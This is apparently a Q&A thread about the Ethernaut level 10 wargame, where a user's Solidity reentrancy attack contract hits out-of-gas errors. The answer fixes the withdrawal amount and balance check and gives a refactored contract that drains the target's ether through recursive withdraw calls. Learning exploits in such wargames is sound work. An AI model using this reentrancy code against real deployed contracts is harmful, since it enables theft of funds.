1

I'm trying to solve Ethernaut level 10 reentrancy task, but I'm getting "out of gas" error.

https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D

This is my contract which I use for attacking:

contract attack {
  Reentrance originalContract = Reentrance(0xf678057EB5c513313353543b44011c1fe5eecb66);
  uint public amount = 0.0001 ether;
  
  constructor() public payable {
  
  }

  function donateToSelf() public {
    originalContract.donate{value: amount, gas: 400000}(address(this));
  }


  function start() public {
    originalContract.withdraw{gas: 400000}(amount);
  }

  receive() external payable {
     if (address(originalContract).balance != 0 ) {
        originalContract.withdraw{gas: 400000}(amount);
    }
  }
}

enter image description here

https://rinkeby.etherscan.io/vmtrace?txhash=0xf67cf6effda55ebf6079e1809bad40db5bbec2086caeb3236a0d703fc9c810fd&type=gethtrace2

I'm providing 0.0001 ether when deploying contract, then calling donateToSelf and then start()

So what I'm doing wrong? Call method in withdraw function doesn't have gas limit so why the transaction reverts? I also tried not specifying gas from my code, but the same thing was happening

1 Answer 1

2

The problem is that your amount is 0.0001 ether, and the Reentrancy contract balance is 0.001 ether, and after you send it 0.0001 it will be 0.0011. So, your attack needs to make 11 recursive calls to be able to drain the 0.0011 balance from the Reentrance contract, which is what is causing that out of gas.

Your amount, in this case, needs to be 0.001, so when you send it to the contract it will have 0.002, when when you attack it requesting 0.001, you only need 2 recursive calls to drain all the balance.

So, whenever you are going to attack a contract with reentrancy, you need to be able to dynamically set up the requested amount, so you can change it any time and adjust it in a way that makes the least recursive calls, to prevent an out-of-gas exception.

Also, in your receive function, you can check that the contract balance is >= of the amount you are trying to get at that time:

receive() external payable {
     if (address(originalContract).balance >= amount) {
        originalContract.withdraw{gas: 400000}(amount);
    }
 }

Because the Reentrance contract balance could be really small, and doing != 0 is a bad idea if the amount you are trying to withdraw is also small, since you may have a lot of recursive calls.

So, the refactor looks kind of like this:

contract attack {
  Reentrance originalContract = Reentrance(payable(0x6Aa566045dE5B3104c082853a1E2E4A3aFbABA06));
  uint public amount = 0.001 ether;

  constructor() payable {
  
  }

  function donateToSelf() public {
    originalContract.donate{value: amount, gas: 400000}(address(this));
  }

  // You should be able to ajust the amount dynamically
  function setAmount(uint256 _amount) public {
      amount = _amount;
  }

  function start() public {
    originalContract.withdraw{gas: 400000}(amount);
  }

  receive() external payable {
     // Better check that the balance >= amount 
     if (address(originalContract).balance >= amount) {
        originalContract.withdraw{gas: 400000}(amount);
    }
  }

}
1
  • 1
    Thank you a lot!
    – GiorgiSh
    Aug 26 at 16:36

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.